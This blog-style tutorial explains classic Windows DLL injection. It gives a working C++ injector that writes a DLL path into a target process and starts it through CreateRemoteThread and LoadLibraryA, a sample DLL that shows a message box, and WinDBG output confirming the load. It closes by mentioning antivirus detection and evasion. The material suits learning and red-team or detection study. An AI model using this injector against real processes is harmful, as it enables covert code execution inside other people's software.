DLL Injection

Previously we looked at Process Injection to execute code in the context of a remote process. Whilst process injection is useful, it does require shellcode to run which can be laborious to write. However, it’s possible to write a DLL in a high level language such as C++, and inject that into a remote process.

To get started, use Visual Studio to create a C++ DLL project. We’re adding MessageBox code to DLL_THREAD_ATTACH so we know when it’s executed.

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
        MessageBox(NULL,L"Hello from bordergate!",L"Hello",MB_OK);
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}



Injection Code

To inject into a remote process, the following steps need to occur;

  • Get a handle to the process we want to inject into using OpenProcess.
  • Allocate an executable section of memory in the remote process using VirtualAllocEx.
  • Call WriteProcessMemory to write the name of our DLL to this area of memory.
  • Use GetModuleHandle to get the address of the Kernel32 module, then GetProcAddress to get the address of LoadLibraryA.
  • Call CreateRemoteThread with lpStartAddress set to LoadLibraryA, and lpParameter set to the pointer which stores the name of our DLL.
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

The following C++ code implements these API calls:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

    char sampleDLL[] = "C:\\SampleDLL.dll";
    HANDLE process_handle; 

    //Get a handle to our remote process
    process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

    // Allocate memory in the remote process
    LPVOID buffer = VirtualAllocEx(process_handle, NULL, sizeof(sampleDLL), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);

    // Write our DLL to the remote process
    WriteProcessMemory(process_handle, buffer, sampleDLL, sizeof(sampleDLL), NULL);

    //Retrieve the memory address of LoadLibraryA function
    HMODULE k32_handle = GetModuleHandle(L"Kernel32");
    VOID* load_library = GetProcAddress(k32_handle, "LoadLibraryA");

    //Execute the DLL in a new remote thread
    HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)load_library, buffer, 0, NULL);
    CloseHandle(process_handle);
    return 0;
}

Running the code will spawn a message box in the context of our target process. Attaching WinDBG to the target process, we can set a breakpoint to show LoadLibrary being called and that our DLL name is being passed as an argument.

0:002> .sympath SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols

0:002> ld *
Symbols already loaded for notepad

0:002> bp kernel32!LoadLibraryA
Couldn't resolve error at 'kernel32!LoadLibraryA'

0:002> g
Breakpoint 0 hit
KERNELBASE!LoadLibraryA:
00007ffb`893fffa0 48895c2408      mov     qword ptr [rsp+8],rbx ss:00000051`7a1df8e0=0000000000000000

0:001> da rcx
000001a7`4a680000  "C:\SampleDLL.dll"

In Conclusion

The problem with this technique is the DLL loaded must reside on disk, and not be obfuscated. This means it will likely be caught by Anti-Virus. Reflected DLL Injection (RDI) is one solution to this particular problem, which I’ll cover in a later article.